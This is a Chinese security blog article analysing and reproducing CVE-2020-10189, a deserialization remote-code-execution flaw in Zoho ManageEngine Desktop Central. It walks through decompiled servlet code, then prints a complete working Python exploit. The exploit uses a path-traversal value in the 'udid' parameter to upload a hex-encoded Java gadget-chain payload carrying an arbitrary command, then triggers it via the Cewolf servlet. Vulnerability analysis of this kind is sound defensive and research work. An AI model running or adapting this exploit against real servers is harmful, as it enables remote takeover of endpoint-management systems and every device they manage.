FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

阅读量    270261 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

 

漏洞简介

Zoho企业的产品Zoho ManageEngine Desktop Central是Windows系统上运行的一种端点管理解决方案,可被用于管理网络设备,例如手机、Linux服务器、Windows工作站等,发挥推送更新、控制访问权限的功能。

今年,安全人员 steventseeley 发现此产品存在反序列化RCE漏洞。核心利用方式是控制udid和filename参数达到改变待上传、嵌入恶意指令的已序列化文件路径和类型的目标,便于在访问此文件时通过反序列化方式读取文件内容,从而触发恶意代码执行。

 

受影响产品

Zoho ManageEngine Desktop Central

 

受影响版本

version< 10.0.473

 

修复版本

version>=10.0.479

 

漏洞验证环境

Windows 7(安装Zoho ManageEngine Desktop Central 10.0.465 x64版本的服务器)

Windows 10(攻击机)

Python2.7

 

漏洞分析

需要确定此产品的序列化和反序列化位置,以便传递序列化的恶意文件,并通过反序列化触发恶意代码执行。

首先确定反序列化位置。发现CewolfServlet应用功能包含反序列化功能,开展具体分析。进入WEB服务目录DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/,打开web.xml 文件,发现名为 CewolfServlet 的 servlet,如下。

<servlet>
   <servlet-name>CewolfServlet</servlet-name>
   <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>

   <init-param>
      <param-name>debug</param-name>
      <param-value>false</param-value>
   </init-param>
   <init-param>
      <param-name>overliburl</param-name>
      <param-value>/js/overlib.js</param-value>
   </init-param>
   <init-param>
      <param-name>storage</param-name>
      <param-value>de.laures.cewolf.storage.FileStorage</param-value>
   </init-param>

   <load-on-startup>1</load-on-startup>
</servlet>

分析可知,此 servlet 涉及的类是 de.laures.cewolf.CewolfRenderer

(所在jar包是DesktopCentral_Server/lib/cewolf-1.2.4.jar),初始化的 java 文件有de.laures.cewolf.storage.FileStorage。进入de.laures.cewolf.CewolfRenderer 类开展分析,如下。

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        if (debugged) {
            this.logRequest(request);
        }

        this.addHeaders(response);
        if (request.getParameter("state") == null && request.getParameterNames().hasMoreElements()) {
            int width = 400;
            int height = 400;
            boolean removeAfterRendering = false;
            if (request.getParameter("removeAfterRendering") != null) {
                removeAfterRendering = true;
            }

            if (request.getParameter("width") != null) {
                width = Integer.parseInt(request.getParameter("width"));
            }

            if (request.getParameter("height") != null) {
                height = Integer.parseInt(request.getParameter("height"));
            }

            if (!renderingEnabled) {
                this.renderNotEnabled(response, 400, 50);
            } else if (width <= this.config.getMaxImageWidth() && height <= this.config.getMaxImageHeight()) {
//                可控的输入参数
                String imgKey = request.getParameter("img");
                if (imgKey == null) {
                    this.logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height);
                } else {
                    Storage storage = this.config.getStorage();
//                    调用getChartImage函数
                    ChartImage chartImage = storage.getChartImage(imgKey, request);
                    if (chartImage == null) {
                        this.renderImageExpiry(response, 400, 50);
                    } else {
                        requestCount.incrementAndGet();

                        try {
                            long start = System.currentTimeMillis();
                            int size = chartImage.getSize();
                            response.setContentType(chartImage.getMimeType());
                            response.setContentLength(size);
                            response.setBufferSize(size);
                            response.setStatus(200);
                            response.getOutputStream().write(chartImage.getBytes());
                            long last = System.currentTimeMillis() - start;
                            if (debugged) {
                                this.log("creation time for chart " + imgKey + ": " + last + "ms.");
                            }
                        } catch (Throwable var22) {
                            this.logAndRenderException(var22, response, width, height);
                        } finally {
                            if (removeAfterRendering) {
                                try {
                                    storage.removeChartImage(imgKey, request);
                                } catch (CewolfException var21) {
                                    this.log("Removal of image failed", var21);
                                }
                            }

                        }

                    }
                }
            } else {
                this.renderImageTooLarge(response, 400, 50);
            }
        } else {
            this.requestState(response);
        }
    }

分析可知,img 是可控的参数,且会被 getChartImage 方法调用,此方法属于初始的参数文件 de.laures.cewolf.storage.FileStorage,如下。

    public ChartImage getChartImage(String id, HttpServletRequest request) {
        ChartImage res = null;
        ObjectInputStream ois = null;

        try {
//            根据“img”参数读取对应的文件
            ois = new ObjectInputStream(new FileInputStream(this.getFileName(id)));
//            反序列化位置
            res = (ChartImage)ois.readObject();
            ois.close();
        } catch (Exception var15) {
            var15.printStackTrace();
        } finally {
            if (ois != null) {
                try {
                    ois.close();
                } catch (IOException var14) {
                    var14.printStackTrace();
                }
            }

        }

        return res;
    }
    private String getFileName(String id) {
//        修改了路径信息
        return this.basePath + "_chart" + id;
    }

分析可知,此方法包含反序列化功能,调用 getFileName 方法修改了存储路径信息。

总结一下,读取文件时,需要注意文件被保存至包含 “_chart” 字段的路径中。

现在确定序列化的位置。在 web.xml 中找到一个上传功能的 servlet,如下。

    <servlet>
 <!--      一处上传点-->
         <servlet-name>MDMLogUploaderServlet</servlet-name>
         <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class>
     </servlet>

进入 com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet 类中,关键部分如下。

    public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest) throws ServletException, IOException {
         Reader reader = null;
         PrintWriter printWriter = null;
         this.logger.log(Level.WARNING, "Received Log from agent");
         Long nDataLength = (long)request.getContentLength();
         this.logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength);
         this.logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", this.acceptedLogSize);

         try {
             if (nDataLength <= this.acceptedLogSize) {
                 String initiatedBy = request.getParameter("initiatedBy");
 //                可控的参数
                 String udid = request.getParameter("udid");
                 String platform = request.getParameter("platform");
 //                可控的参数
                 String fileName = request.getParameter("filename");
                 HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid);
                 if (deviceMap != null) {
                     this.customerID = (Long)deviceMap.get("CUSTOMER_ID");
                     this.deviceName = (String)deviceMap.get("MANAGEDDEVICEEXTN.NAME");
                     this.domainName = (String)deviceMap.get("DOMAIN_NETBIOS_NAME");
                     this.resourceID = (Long)deviceMap.get("RESOURCE_ID");
                     this.platformType = (Integer)deviceMap.get("PLATFORM_TYPE");
                 } else {
                     this.customerID = 0L;
                     this.deviceName = "default";
                     this.domainName = "default";
                 }

                 if (initiatedBy != null && initiatedBy.equals(this.fromUser)) {
                     JSONObject jsonObject = new JSONObject(request.getParameter("extraData"));
                     String issueType = jsonObject.getString("IssueType");
                     String issueDescription = jsonObject.getString("IssueDescription");
                     String fromAddress = jsonObject.getString("EmailId");
                     String outputFileName = MDMApiFactoryProvider.getMdmCompressAPI().getSupportFileName() + ".zip";
                     String toAddress = ProductUrlLoader.getInstance().getValue("supportmailid");
                     String ticketID = jsonObject.getString("TicketId");
                     ticketID = ticketID.trim().equals("") ? "NA" : ticketID.trim();
                     Boolean status = this.downloadUserSupportFile(fileName, udid, request, response);
                     if (status) {
                         status = this.zipProcess(fileName, outputFileName, udid, request, response);
                     }

                     if (status) {
                         this.doUpload(outputFileName, fromAddress, toAddress, issueType, issueDescription, ticketID);
                     }

                     File resourceDir = new File(ApiFactoryProvider.getUtilAccessAPI().getServerHome() + File.separator + "logsFromUser" + File.separator + this.resourceID);
                     if (resourceDir.exists()) {
                         FileUtils.deleteDirectory(resourceDir);
                     }

                     if (!status) {
                         this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload due to failure to download/zipping/upload issue");
                         response.sendError(403, "Request Refused");
                     }

                     return;
                 }

                 if (CustomerInfoUtil.getInstance().isSAS()) {
                     this.downloadSupportFileCloud(fileName, udid, request, response);
                 } else {
                     this.downloadSupportFile(fileName, udid, request, response);
                 }

                 SupportFileCreation supportFileCreation = SupportFileCreation.getInstance();
                 supportFileCreation.incrementMDMLogUploadCount();
                 JSONObject deviceDetails = new JSONObject();
                 deviceDetails.put("platform_type_id", this.platformType);
                 deviceDetails.put("device_id", this.resourceID);
                 deviceDetails.put("device_name", this.deviceName);
                 supportFileCreation.removeDeviceFromList(deviceDetails);
                 if (CustomerInfoUtil.getInstance().isSAS()) {
                     GroupEventNotifier.getInstance().actionCompleted(Long.parseLong(String.valueOf(this.resourceID)), "MDM_AGENT_LOG_UPLOAD");
                 }

                 return;
             }

             this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}", nDataLength);
             response.sendError(403, "Request Refused");
         } catch (Exception var30) {
             this.logger.log(Level.WARNING, "Exception   ", var30);
             return;
         } finally {
             if (reader != null) {
                 try {
                     ((Reader)reader).close();
                 } catch (Exception var29) {
                     var29.fillInStackTrace();
                 }
             }

         }

     }

     public void downloadSupportFile(String fileName, String udid, HttpServletRequest request, HttpServletResponse response) throws Exception {
         String baseDir = System.getProperty("server.home");
         this.deviceName = this.removeInvalidCharactersInFileName(this.deviceName);
 //        udid参数值参与到文件保存路径的拼接任务中
         String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid;
         File file = new File(localDirToStore);
         if (!file.exists()) {
             file.mkdirs();
         }

         this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore});
         fileName = fileName.toLowerCase();
 //        单纯对filename参数信息进行约束,允许后缀是“log|txt|zip|7z”
         if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")) {
             this.logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName);
             response.sendError(403, "Request Refused");
         } else {
             String absoluteFileName = localDirToStore + File.separator + fileName;
             this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});
             InputStream in = null;
             FileOutputStream fout = null;

             try {
                 in = request.getInputStream();
                 fout = new FileOutputStream(absoluteFileName);
                 byte[] bytes = new byte[10000];

                 int i;
                 while((i = in.read(bytes)) != -1) {
                     fout.write(bytes, 0, i);
                 }

                 fout.flush();
             } catch (Exception var16) {
                 var16.printStackTrace();
             } finally {
                 if (fout != null) {
                     fout.close();
                 }

                 if (in != null) {
                     in.close();
                 }

             }

         }
     }

     public void downloadSupportFileCloud(String fileName, String udid, HttpServletRequest request, HttpServletResponse response) throws Exception {
         String cloudBaseDir = "support";
 //        udid参数值参与到文件保存路径的拼接任务中
         String dfsDirToStore = cloudBaseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid;
         this.logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{dfsDirToStore});
         fileName = fileName.toLowerCase();
         if (fileName != null && FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z")) {
             this.logger.log(Level.WARNING, "AgentLogUploadServlet : Going to reject the file upload {0}", fileName);
             response.sendError(403, "Request Refused");
         } else {
             String absoluteFileName = dfsDirToStore + File.separator + fileName;
             this.logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});
             InputStream in = null;
             OutputStream fout = ApiFactoryProvider.getFileAccessAPI().writeFile(absoluteFileName);

             try {
                 in = request.getInputStream();
                 byte[] bytes = new byte[10000];

                 int i;
                 while((i = in.read(bytes)) != -1) {
                     fout.write(bytes, 0, i);
                 }

                 fout.flush();
             } catch (Exception var15) {
                 this.logger.log(Level.SEVERE, "Error : " + var15);
             } finally {
                 if (in != null) {
                     in.close();
                 }

                 if (fout != null) {
                     fout.close();
                 }

             }
         }

     }

结合注释分析可知,存在可控的 udid 参数和 filename 参数,共同参与到文件的上传路径组建工作中。Udid 没有任何约束条件。filename 的约束条件核心代码如下。

public static boolean hasVulner Udid 没有过来约束条件 abilityInFileName(String fileName, String allowedFileExt) {
         return isContainDirectoryTraversal(fileName) || isCompletePath(fileName) || !isValidFileExtension(fileName, allowedFileExt);
         }
 //参数是否是合法的后缀
 public static boolean isValidFileExtension(String fileName, String fileExtPattern) {
         if (fileName.indexOf("\u0000") != -1) {
             fileName = fileName.substring(0, fileName.indexOf("\u0000"));
         }

         fileExtPattern = fileExtPattern.replaceAll("\\s+", "").toLowerCase();
         String regexFileExtensionPattern = "([^\\s]+(\\.(?i)(" + fileExtPattern + "))$)";
         Pattern pattern = Pattern.compile(regexFileExtensionPattern);
         Matcher matcher = pattern.matcher(fileName.toLowerCase());
         return matcher.matches();
         }
 //参数是否存在目录穿越风险
 private static boolean isContainDirectoryTraversal(String fileName) {
         return fileName.contains("/") || fileName.contains("\\");
         }
 //参数是否是绝对值路径
 private static boolean isCompletePath(String fileName) {
         String regexFileExtensionPattern = "([a-zA-Z]:[\\ \\\\ / //].*)";
         Pattern pattern = Pattern.compile(regexFileExtensionPattern);
         Matcher matcher = pattern.matcher(fileName);
         return matcher.matches();
         }

        <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment"  authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false">
             <param name="platform" regex="ios|android"/>
 <!--            限制filename参数的名称只能是“logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip”-->
             <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/>
             <param name="uuid" regex="safestring"/>
             <param name="udid" regex="udid"/>
             <param name="erid" type="long"/>
          <param name="authtoken" regex="apikey" secret="true"/>
          <param name="SCOPE" regex="scope" />
          <param name="encapiKey" regex="encapiKey" max-len="200" />
             <param name="initiatedBy" regex="safestring"/>
             <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/>
         </url>

分析可知,filename 存在扩展名、目录验证等约束条件,且限制名称只能是 “logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip”,所以将关键的目录篡改配置存储于udid中。

综上,在序列化上传过程中,可设置 udid 为aaa……\webapps\DesktopCentral_chart,filename为 logger.zip,从而绕过当前所有约束条件。

观察可知服务端存在 commons-collections.jar(3.1)、commons-beanutils-1.8.0.jar,因此可利用对应的反序列化功能完成漏洞利用任务。

 

漏洞利用

POC及注释信息如下:

#!/usr/bin/env python3

 import os
 import sys
 import struct
 import requests
 from requests.packages.urllib3.exceptions import InsecureRequestWarning
 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 def _get_payload(c):
     p  = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
     p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
     p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
     p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
     p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
     p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
     p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
     p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
     p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
     p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
     p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
     p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
     p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
     p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
     p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
     p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
     p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
     p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
     p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
     p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
     p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
     p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
     p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
     p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
     p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
     p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
     p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
     p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
     p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
     p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
     p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
     p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
     p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
     p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
     p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
     p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
     p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
     p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
     p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
     p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
     p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
     p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
     p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
     p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
     p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
     p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
     p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
     p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
     p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
     p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
     p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
     p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
     p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
     p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
     p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
     p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
     p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
     p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
     p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
     p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
     p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
     p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
     p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
     p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
     p += "0300000001000f00380000000000010015001600010000000100170018000200"
     p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
     p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
     p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
     p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
     p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
     p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
     p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
     p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
     p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
     p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
     p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
     p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
     p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
     p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
     p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
     p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
     p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
     p += "2100020003000100040001001a00050006000100070000000200080001000100"
     p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
     p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
     p += "0002001400110000000a000100020016001000097074000450776e7270770100"
     p += "7871007e000d78"
     obj = bytearray(bytes.fromhex(p))
     obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
     obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
     start = obj[:0x6e7]
     end = obj[0x6e7:]
     return start + str.encode(c) + end

 def we_can_plant_serialized(t, c):
     # stage 1 - traversal file write primitive
     uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
     p = {
         "udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart", # 目录穿越
         "filename" : "logger.zip"
     }
     h = { "Content-Type" : "application/octet-stream" } # 表示二进制类型数据,适用于未知的数据
     # 序列化的待执行代码
     d = _get_payload(c)
     r = requests.post(uri, params=p, data=d, verify=False)
     if r.status_code == 200:
         return True
     return False

 def we_can_execute_cmd(t):
     # stage 2 - deserialization
     uri = "https://%s:8383/cewolf/" % t
     p = { "img" : "\\logger.zip" }
     r = requests.get(uri, params=p, verify=False)
     if r.status_code == 200:
         return True
     return False

 def main():
     if len(sys.argv) != 3:
         print("(+) usage: %s <target> <cmd>" % sys.argv[0])
         print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
         sys.exit(1)
     t = sys.argv[1]
     c = sys.argv[2]
     if we_can_plant_serialized(t, c):
         print("(+) planted our serialized payload")
         if we_can_execute_cmd(t):
             print("(+) executed: %s" % c)

 if __name__ == "__main__":
     main()

执行脚本命令 python 服务端ip calc,在服务端命令行输入

tasklist | findestr “calc”

出现如下结果,说明漏洞利用成功。

 

总结

本文分析 Zoho ManageEngine 反序列化代码执行漏洞,作者认为此漏洞源自于未全面测试分析用户的输入参数;学习人员应注意通过输入参数分析漏洞的触发情况,并可使用当前成熟的反序列化验证工具。

 

参考文献

(1) CVE-2020-10189 Zoho ManageEngine反序列化远程代码执行 – 安全客,安全资讯平台

https://www.anquanke.com/post/id/200474

(2) CVE-2020-10189 Zoho ManageEngine反序列化RCE – 先知社区

https://xz.aliyun.com/t/7439#toc-3

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多